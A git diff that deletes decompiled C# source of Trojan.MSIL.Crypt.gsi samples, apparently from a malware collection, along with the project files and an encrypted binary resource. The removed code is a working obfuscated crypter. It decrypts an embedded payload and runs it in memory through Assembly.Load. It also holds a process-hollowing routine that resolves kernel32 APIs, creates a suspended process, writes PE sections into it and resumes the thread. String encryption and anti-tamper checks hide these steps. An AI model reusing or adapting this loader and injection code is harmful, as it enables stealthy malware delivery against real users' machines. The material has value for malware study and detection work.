\u0006.\u0003.\u0005(\u0006.\u0002(typeof (\u0006.\u0008)), \u0006.\u0003.\u0002(\u0006.\u0002(typeof (\u0006.\u000F)), \u0006.\u0002(typeof (\u0006.\u0002\u2000))))))); - } - - private sealed class \u000F - { - public \u000F() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u000F).Assembly || !\u0006.\u0002() ? -56237163 : \u0006.\u0003.\u0003(\u0006.\u0003.\u0003(\u0006.\u0008.\u0002(), \u0006.\u0003.\u0002(\u0006.\u0002(typeof (\u0006.\u000F)), \u0006.\u0006.\u0002())), \u0006.\u0002(typeof (\u0006.\u0002\u2000))); - } - - private sealed class \u0002\u2000 - { - public \u0002\u2000() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0002\u2000).Assembly || !\u0006.\u0002() ? 1106695601 : \u0006.\u0003.\u0002(\u0006.\u0002(typeof (\u0006.\u0002\u2000)), \u0006.\u0003.\u0005(\u0006.\u0003.\u0003(\u0006.\u0002(typeof (\u0006.\u000F)), \u0006.\u0002(typeof (\u0006.\u0005))), \u0006.\u0003.\u0005(\u0006.\u0002(typeof (\u0006.\u0008)) ^ ~-~--~~-~1419515221, \u0006.\u000F.\u0002()))); - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0008.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0008.cs deleted file mode 100644 index a798a192..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0008.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: jvfB7Dghj3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3415921B-4A7C-459B-8AB4-2271E9BB92A6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400.exe - -internal static class \u0008 -{ - public static byte[] \u0002(byte[] _param0, byte[] _param1) - { - int num1 = (int) _param0[1]; - if (true) - goto label_9; -label_1: - int length = _param1.Length; - if (true) - goto label_10; -label_2: - int num2; - byte num3; - int num4 = (int) (byte) (num2 + 11 ^ (int) num3 + 7); - if (true) - goto label_11; -label_3: - byte num5; - uint num6 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num5 << 3)); - ushort num7 = 0; - for (int index = 0; index < num2; ++index) - { - if ((index & 1) == 0) - { - num6 = (uint) ((int) num6 * 214013 + 2531011); - num7 = (ushort) (num6 >> 16); - } - byte num8 = (byte) num7; - num7 >>= 8; - byte num9 = _param1[index]; - _param1[index] = (byte) ((uint) ((int) num9 ^ (int) num3 ^ (int) num5 + 3) ^ (uint) num8); - num5 = num9; - } - return _param1; -label_11: - num5 = (byte) num4; - goto label_3; -label_10: - num2 = length; - goto label_2; -label_9: - num3 = (byte) num1; - goto label_1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/      ​    ​ b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/      ​    ​ deleted file mode 100644 index ac5a3c34837bf25c57fc6dd9e89f30b1364f1932..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 660 zcmV;F0&D%n?$!29qv;#a|9^`?X#+jEh)%M~)l7UO;Xbw zUG>@}2hjh2XcmhmVzds)b6T_y%1iQTTvT6^n>lHwR?z={n(mx&HA3+UWMllQUnvMB z@+nae__)DgofAGKU2KUP@>#BB(EoqkhzMy`R9!=3k1MlDPp% z5%9cN;IwWQ?x>y4o%hiHe|a94THY+fG0Cm3ftQ+sK}b!d}hYo85wJi|BjN#-x7+?hIW5Tlp{?> z<)9lS(f@zdGQ2ucsrjtxfsw%q@E>%ByGo@Ls)$5$c8kTs=C4e(p$YEtDAYQWkl}36 z|9{_GjWd3U>K%$Od!B41@PPrIs2Z>Y9k`B@fQs z*3tieoUhFvkPtc(J+7PEghn_I?J&s*>`F%Ub8eM9`VGG0Scwl&(f@zJ3&QXEjF>J- zXKT^;=+O-I5QkTl_L|68q^&yrL4#I_Q9tcSh3W-AYyiL|lO>mt3rUumj5^0K z#3*|%TyzNsHx%*WI^NKA^N - - - - Debug - AnyCPU - {6C6658E3-4F14-47FA-9C86-35CD802D572C} - WinExe - jvfB7Dghj3 - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/Trojan.MSIL.Crypt.gsi.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/Trojan.MSIL.Crypt.gsi.sln deleted file mode 100644 index dda7579a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/Trojan.MSIL.Crypt.gsi.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "jvfB7Dghj3", "Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3.csproj", "{6C6658E3-4F14-47FA-9C86-35CD802D572C}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6C6658E3-4F14-47FA-9C86-35CD802D572C}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6C6658E3-4F14-47FA-9C86-35CD802D572C}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6C6658E3-4F14-47FA-9C86-35CD802D572C}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6C6658E3-4F14-47FA-9C86-35CD802D572C}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0002.cs deleted file mode 100644 index 9353bfa9..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0002.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: jvfB7Dghj3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3415921B-4A7C-459B-8AB4-2271E9BB92A6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3.exe - -using System.IO; -using System.Reflection; -using System.Threading; - -internal sealed class \u0002 -{ - public \u0002() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - private static byte[] \u0002(byte[] _param0, string _param1, int _param2) - { - if (true) - goto label_4; -label_2: - int index; - while (index < _param0.Length) - { - _param0[index] ^= (byte) ((int) _param1[index % _param1.Length] >> index + _param2 + _param1.Length & (int) byte.MaxValue); - int num = index + 1; - if (true) - index = num; - } - return _param0; -label_4: - index = 0; - goto label_2; - } - - public static void \u0002() - { - try - { - \u0002.\u0002 obj1 = new \u0002.\u0002(); - if (true) - goto label_4; -label_1: - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(\u0005.\u0002(-1340379551)); - if (true) - goto label_5; -label_2: - Stream stream; - byte[] numArray = new byte[stream.Length]; - if (true) - goto label_6; -label_3: - byte[] buffer; - stream.Read(buffer, 0, (int) stream.Length); - \u0002.\u0002 obj2; - obj2.\u0002 = \u0002.\u0002(buffer, \u0005.\u0002(-1340379573), 434); - new Thread(new ThreadStart(obj2.\u0002)).Start(); - return; -label_6: - buffer = numArray; - goto label_3; -label_5: - stream = manifestResourceStream; - goto label_2; -label_4: - obj2 = obj1; - goto label_1; - } - catch - { - } - } - - private sealed class \u0002 - { - public byte[] \u0002; - - public \u0002() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - public void \u0002() - { - try - { - if (true) - ; - \u0003.\u0002(this.\u0002); - } - catch - { - \u0003.\u0003(this.\u0002); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0003.cs deleted file mode 100644 index 02a16f50..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0003.cs +++ /dev/null @@ -1,219 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: jvfB7Dghj3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3415921B-4A7C-459B-8AB4-2271E9BB92A6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; - -public static class \u0003 -{ - [DllImport("kernel32.dll", EntryPoint = "GetProcAddress")] - private static extern IntPtr \u0002(IntPtr _param0, string _param1); - - [DllImport("kernel32.dll", EntryPoint = "LoadLibrary")] - private static extern IntPtr \u0002(string _param0); - - private static string \u0002(string _param0) - { - Encoding unicode = Encoding.Unicode; - string s = _param0; - if (true) - ; - byte[] bytes = Convert.FromBase64String(s); - return unicode.GetString(bytes); - } - - private static uint \u0002(byte[] _param0, int _param1) - { - byte[] numArray = _param0; - if (true) - ; - int startIndex = _param1; - return BitConverter.ToUInt32(numArray, startIndex); - } - - public static void \u0002(byte[] _param0) - { - MethodInfo entryPoint = Assembly.Load(_param0).EntryPoint; - if (true) - goto label_5; -label_1: - MethodInfo methodInfo1; - if (methodInfo1.GetParameters().Length > 0) - { - MethodInfo methodInfo2 = methodInfo1; - object[] objArray1 = new object[1]; - if (true) - goto label_6; -label_3: - object[] objArray2; - objArray2[0] = (object) new string[0]; - object[] parameters = objArray2; - methodInfo2.Invoke((object) null, parameters); - return; -label_6: - objArray2 = objArray1; - goto label_3; - } - else - { - methodInfo1.Invoke((object) null, (object[]) null); - return; - } -label_5: - methodInfo1 = entryPoint; - goto label_1; - } - - public static void \u0003(byte[] _param0) - { - \u0003.\u0002 forFunctionPointer1 = (\u0003.\u0002) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379628))), typeof (\u0003.\u0002)); - if (true) - goto label_21; -label_1: - \u0003.\u0003 forFunctionPointer2 = (\u0003.\u0003) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379451))), typeof (\u0003.\u0003)); - if (true) - goto label_22; -label_2: - \u0003.\u0005 forFunctionPointer3 = (\u0003.\u0005) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379466))), \u0003.\u0002(\u0005.\u0002(-1340379497))), typeof (\u0003.\u0005)); - if (true) - goto label_23; -label_3: - \u0003.\u0008 forFunctionPointer4 = (\u0003.\u0008) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379308))), typeof (\u0003.\u0008)); - if (true) - goto label_24; -label_4: - \u0003.\u0006 forFunctionPointer5 = (\u0003.\u0006) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379387))), typeof (\u0003.\u0006)); - if (true) - goto label_25; -label_5: - \u0003.\u000E forFunctionPointer6 = (\u0003.\u000E) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379150))), typeof (\u0003.\u000E)); - if (true) - goto label_26; -label_6: - \u0003.\u000F forFunctionPointer7 = (\u0003.\u000F) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379217))), typeof (\u0003.\u000F)); - if (true) - goto label_27; -label_7: - byte[] numArray1 = new byte[64]; - if (true) - goto label_28; -label_8: - byte[] destinationArray1; - Array.Copy((Array) _param0, 0, (Array) destinationArray1, 0, 64); - if (BitConverter.ToUInt16(destinationArray1, 0) != (ushort) 23117) - return; - byte[] numArray2 = new byte[248]; - if (true) - goto label_29; -label_11: - byte[] destinationArray2; - Array.Copy((Array) _param0, BitConverter.ToInt32(destinationArray1, 60), (Array) destinationArray2, 0, 248); - if (\u0003.\u0002(destinationArray2, 0) != 17744U) - return; - byte[] numArray3 = new byte[40]; - if (true) - goto label_30; -label_14: - IntPtr[] numArray4 = new IntPtr[4]; - uint[] numArray5 = new uint[179]; - \u0003.\u0002 obj1; - if (!obj1(\u0003.\u0002(\u0005.\u0002(-1340379244)), string.Empty, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, (string) null, new byte[68], numArray4)) - return; - numArray5[0] = 65538U; - \u0003.\u0003 obj2; - \u0003.\u0005 obj3; - \u0003.\u0008 obj4; - \u0003.\u0006 obj5; - byte[] destinationArray3; - \u0003.\u000E obj6; - if (obj2(numArray4[1], numArray5)) - { - IntPtr num1 = obj3(numArray4[0], (IntPtr) (long) \u0003.\u0002(destinationArray2, 52)); - IntPtr num2 = obj4(numArray4[0], (IntPtr) (long) \u0003.\u0002(destinationArray2, 52), \u0003.\u0002(destinationArray2, 80), 12288U, 64U); - IntPtr num3 = obj5(numArray4[0], (IntPtr) (long) \u0003.\u0002(destinationArray2, 52), _param0, \u0003.\u0002(destinationArray2, 84), UIntPtr.Zero); - for (int index = 0; index < (int) BitConverter.ToUInt16(destinationArray2, 6); ++index) - { - Array.Copy((Array) _param0, BitConverter.ToInt32(destinationArray1, 60) + 248 + 40 * index, (Array) destinationArray3, 0, 40); - byte[] destinationArray4 = new byte[(IntPtr) \u0003.\u0002(destinationArray3, 16)]; - Array.Copy((Array) _param0, (long) \u0003.\u0002(destinationArray3, 20), (Array) destinationArray4, 0L, (long) \u0003.\u0002(destinationArray3, 16)); - IntPtr num4 = obj5(numArray4[0], (IntPtr) (long) (\u0003.\u0002(destinationArray2, 52) + \u0003.\u0002(destinationArray3, 12)), destinationArray4, \u0003.\u0002(destinationArray3, 16), UIntPtr.Zero); - } - byte[] bytes = BitConverter.GetBytes(\u0003.\u0002(destinationArray2, 52)); - IntPtr num5 = obj5(numArray4[0], (IntPtr) (long) (numArray5[41] + 8U), bytes, (uint) bytes.Length, UIntPtr.Zero); - numArray5[44] = \u0003.\u0002(destinationArray2, 52) + \u0003.\u0002(destinationArray2, 40); - IntPtr num6 = obj6(numArray4[1], numArray5); - } - \u0003.\u000F obj7; - IntPtr num = obj7(numArray4[1]); - return; -label_30: - destinationArray3 = numArray3; - goto label_14; -label_29: - destinationArray2 = numArray2; - goto label_11; -label_28: - destinationArray1 = numArray1; - goto label_8; -label_27: - obj7 = forFunctionPointer7; - goto label_7; -label_26: - obj6 = forFunctionPointer6; - goto label_6; -label_25: - obj5 = forFunctionPointer5; - goto label_5; -label_24: - obj4 = forFunctionPointer4; - goto label_4; -label_23: - obj3 = forFunctionPointer3; - goto label_3; -label_22: - obj2 = forFunctionPointer2; - goto label_2; -label_21: - obj1 = forFunctionPointer1; - goto label_1; - } - - private delegate bool \u0002( - string _param1, - string _param2, - IntPtr _param3, - IntPtr _param4, - bool _param5, - uint _param6, - IntPtr _param7, - string _param8, - byte[] _param9, - IntPtr[] _param10); - - private delegate bool \u0003(IntPtr _param1, uint[] _param2); - - private delegate IntPtr \u0005(IntPtr _param1, IntPtr _param2); - - private delegate IntPtr \u0006( - IntPtr _param1, - IntPtr _param2, - byte[] _param3, - uint _param4, - UIntPtr _param5); - - private delegate IntPtr \u0008( - IntPtr _param1, - IntPtr _param2, - uint _param3, - uint _param4, - uint _param5); - - private delegate IntPtr \u000E(IntPtr _param1, uint[] _param2); - - private delegate IntPtr \u000F(IntPtr _param1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0005.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0005.cs deleted file mode 100644 index 6e7f61f4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0005.cs +++ /dev/null @@ -1,307 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: jvfB7Dghj3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3415921B-4A7C-459B-8AB4-2271E9BB92A6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; - -internal static class \u0005 -{ - private static readonly Dictionary \u0002; - private static BinaryReader \u0003; - private static byte[] \u0005; - private static short \u0008; - private static int \u0006; - private static byte[] \u000E; - private static int \u000F; - - static \u0005() - { - Dictionary dictionary = new Dictionary(12); - if (false) - return; - \u0005.\u0002 = dictionary; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string \u0002(int _param0) - { - Dictionary dictionary1 = \u0005.\u0002; - if (true) - goto label_69; -label_1: - Monitor.Enter((object) dictionary1); - string str1; - Dictionary dictionary2; - try - { - string str2; - byte[] numArray1; - for (; !\u0005.\u0002.TryGetValue(_param0, out str2); _param0 = ((int) numArray1[2] | (int) numArray1[3] << 16 | (int) numArray1[0] << 8 | (int) numArray1[1] << 24) ^ -_param0) - { - int num1; - if (\u0005.\u0003 == null) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - if (true) - goto label_59; -label_6: - Assembly.GetCallingAssembly(); - if (true) - goto label_60; -label_7: - if (true) - goto label_61; -label_8: - Assembly assembly1; - Stream manifestResourceStream = assembly1.GetManifestResourceStream("      \u200B    \u200B"); - if (true) - goto label_62; -label_9: - if (true) - goto label_63; -label_10: - int num2; - StackTrace stackTrace1 = new StackTrace(num2, false); - if (true) - goto label_64; -label_11: - int num3 = \u0005.\u0006 ^ (6470 | num2); - if (true) - goto label_65; -label_12: - int num4 = num2 - 1; - if (true) - goto label_66; -label_13: - StackTrace stackTrace2; - StackFrame frame = stackTrace2.GetFrame(num2); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - \u0005.\u0006 ^= num2 + 128; - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - if (frame == null) - \u0005.\u0006 ^= 219315; - bool flag = (object) type == (object) typeof (RuntimeMethodHandle); - \u0005.\u0006 ^= 160; - if (!flag) - { - flag = (object) type == null; - if (flag) - \u0005.\u0006 ^= 219283; - } - if (flag == (stackTrace2 != null)) - \u0005.\u0006 ^= 32; - \u0005.\u0006 ^= 6502 | num2 + 1; - Stream input; - \u0005.\u0003 = new BinaryReader(input); - short count = (short) ((int) \u0005.\u0003.ReadInt16() ^ (int) (short) -~~--~~--~~4411); - if (count == (short) 0) - \u0005.\u0008 = (short) ((int) \u0005.\u0003.ReadInt16() ^ (int) (short) -~~--~-~~2347); - else - \u0005.\u0005 = \u0005.\u0003.ReadBytes((int) count); - Assembly assembly2 = assembly1; - AssemblyName assemblyName; - try - { - assemblyName = assembly2.GetName(); - } - catch - { - assemblyName = new AssemblyName(assembly2.FullName); - } - \u0005.\u000E = assemblyName.GetPublicKeyToken(); - if (\u0005.\u000E != null && \u0005.\u000E.Length == 0) - \u0005.\u000E = (byte[]) null; - num1 = -1071676877 ^ (int) (uint) \u0006.\u0002() ^ -~~--~-~~-~-1828924526; - \u0005.\u000F = num1; - \u0005.\u0006 = \u0005.\u0006 & 268435314 ^ 6788; - goto label_30; -label_66: - num2 = num4; - goto label_13; -label_65: - \u0005.\u0006 = num3; - goto label_12; -label_64: - stackTrace2 = stackTrace1; - goto label_11; -label_63: - num2 = 1; - goto label_10; -label_62: - input = manifestResourceStream; - goto label_9; -label_61: - \u0005.\u0006 = 1610370; - goto label_8; -label_60: - goto label_7; -label_59: - assembly1 = executingAssembly; - goto label_6; - } - else - num1 = \u0005.\u000F; -label_30: - int num5 = _param0 ^ 671441723 ^ num1; - \u0005.\u0003.BaseStream.Position = (long) num5; - byte[] numArray2; - if (\u0005.\u0005 != null) - { - numArray2 = \u0005.\u0005; - } - else - { - short count = \u0005.\u0008 != (short) -1 ? \u0005.\u0008 : (short) ((int) \u0005.\u0003.ReadInt16() ^ -26969 ^ num5); - if (count == (short) 0) - { - numArray2 = (byte[]) null; - } - else - { - numArray2 = \u0005.\u0003.ReadBytes((int) count); - for (int index = 0; index != numArray2.Length; ++index) - numArray2[index] ^= (byte) (\u0005.\u000F >> ((index & 3) << 3)); - } - } - int num6 = \u0005.\u0003.ReadInt32() ^ num5 ^ ~--~-~-~~-~-1742855522 ^ num1; - if (num6 == -2) - { - numArray1 = \u0005.\u0003.ReadBytes(4); - _param0 = 1742855522 ^ num1; - } - else - { - bool flag1 = (num6 & int.MinValue) != 0; - bool flag2 = (num6 & 1073741824) != 0; - bool flag3 = (num6 & 536870912) != 0; - int count = num6 & 536870911; - byte[] numArray3 = \u0008.\u0002(numArray2, \u0005.\u0003.ReadBytes(count)); - if (\u0005.\u000E != null != (\u0005.\u0006 != 1607814)) - { - for (int index = 0; index < count; ++index) - { - byte num7 = \u0005.\u000E[index & 7]; - byte num8 = (byte) ((int) num7 << 3 | (int) num7 >> 5); - numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num8); - } - } - int num9 = \u0005.\u0006 - 12; - byte[] bytes; - int length; - if (!flag2) - { - bytes = numArray3; - length = count; - } - else - { - length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; - bytes = new byte[length]; - \u0005.\u0002(numArray3, 4, bytes); - } - string str3; - if (flag1 && num9 == 1607802) - { - char[] chArray = new char[length]; - for (int index = 0; index < length; ++index) - chArray[index] = (char) bytes[index]; - str3 = new string(chArray); - } - else - str3 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - int num10 = num9 + ((int) sbyte.MaxValue + (num9 & 3) << 5); - if (num10 != 1611930) - str3 = (_param0 + count ^ 936568 ^ num10 & 1293).ToString("X"); - if (!flag3) - { - str3 = string.Intern(str3); - \u0005.\u0002.Add(_param0, str3); - if (\u0005.\u0002.Count == 12) - { - \u0005.\u0003.Close(); - \u0005.\u0003 = (BinaryReader) null; - \u0005.\u0005 = \u0005.\u000E = (byte[]) null; - } - } - str1 = str3; - goto label_68; - } - } - string str4 = str2; - if (true) - str1 = str4; - } - finally - { - Monitor.Exit((object) dictionary2); - } -label_68: - return str1; -label_69: - dictionary2 = dictionary1; - goto label_1; - } - - private static void \u0002(byte[] _param0, int _param1, byte[] _param2) - { - if (true) - goto label_14; -label_1: - if (true) - goto label_15; -label_2: - if (true) - goto label_16; -label_3: - int length = _param2.Length; -label_13: - int num1; - int num2; - int num3; - while (num3 < length) - { - if ((num1 <<= 1) == 256) - { - num1 = 1; - num2 = (int) _param0[_param1++]; - } - if ((num2 & num1) != 0) - { - int num4 = ((int) _param0[_param1] >> 2) + 3; - int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; - _param1 += 2; - int num6 = num3 - num5; - if (num6 < 0) - break; - while (true) - { - if (--num4 >= 0 && num3 < length) - _param2[num3++] = _param2[num6++]; - else - goto label_13; - } - } - else - _param2[num3++] = _param0[_param1++]; - } - return; -label_16: - num1 = 128; - goto label_3; -label_15: - num2 = 0; - goto label_2; -label_14: - num3 = 0; - goto label_1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0006.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0006.cs deleted file mode 100644 index 00ec1e2d..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3/_0006.cs +++ /dev/null @@ -1,418 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: jvfB7Dghj3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3415921B-4A7C-459B-8AB4-2271E9BB92A6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gsi-80aa82b90d2d3762f304506f245be1c4d4584b11a899af160dd4cc2b806708a3.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; - -internal static class \u0006 -{ - private static \u0006.\u0002 \u0002; - - static \u0006() - { - \u0006.\u0002 obj = new \u0006.\u0002(); - if (false) - return; - \u0006.\u0002 = obj; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0006).Assembly || !\u0006.\u0002()) - return 5038234971328056794; - \u0006.\u0002 obj1 = \u0006.\u0002; - if (true) - goto label_24; -label_3: - Monitor.Enter((object) obj1); - \u0006.\u0002 obj2; - try - { - long num1 = \u0006.\u0002.\u0002(); - if (true) - goto label_20; -label_5: - long num2; - if (num2 == 0L) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - if (true) - goto label_21; -label_7: - List byteList1 = new List(); - if (true) - goto label_22; -label_8: - Assembly assembly; - AssemblyName assemblyName; - try - { - AssemblyName name = assembly.GetName(); - if (true) - assemblyName = name; - } - catch - { - assemblyName = new AssemblyName(assembly.FullName); - } - byte[] collection = assemblyName.GetPublicKeyToken(); - if (collection != null && collection.Length == 0) - collection = (byte[]) null; - List byteList2; - if (collection != null) - byteList2.AddRange((IEnumerable) collection); - byteList2.AddRange((IEnumerable) Encoding.Unicode.GetBytes(assemblyName.Name)); - int num3 = \u0006.\u0002(typeof (\u0006)); - int num4 = \u0006.\u0005.\u0002(); - byteList2.Add((byte) (num3 >> 24)); - byteList2.Add((byte) (num4 >> 16)); - byteList2.Add((byte) (num3 >> 8)); - byteList2.Add((byte) num4); - byteList2.Add((byte) (num3 >> 16)); - byteList2.Add((byte) (num4 >> 8)); - byteList2.Add((byte) num3); - byteList2.Add((byte) (num4 >> 24)); - int count = byteList2.Count; - ulong num5 = 0; - for (int index = 0; index != count; ++index) - { - ulong num6 = num5 + (ulong) byteList2[index]; - ulong num7 = num6 + (num6 << 20); - num5 = num7 ^ num7 >> 12; - byteList2[index] = (byte) 0; - } - ulong num8 = num5 + (num5 << 6); - ulong num9 = num8 ^ num8 >> 22; - num2 = (long) (num9 + (num9 << 30)) ^ 620293858565331414L; - \u0006.\u0002.\u0002(num2); - goto label_19; -label_22: - byteList2 = byteList1; - goto label_8; -label_21: - assembly = executingAssembly; - goto label_7; - } -label_19: - return num2; -label_20: - num2 = num1; - goto label_5; - } - finally - { - Monitor.Exit((object) obj2); - } -label_24: - obj2 = obj1; - 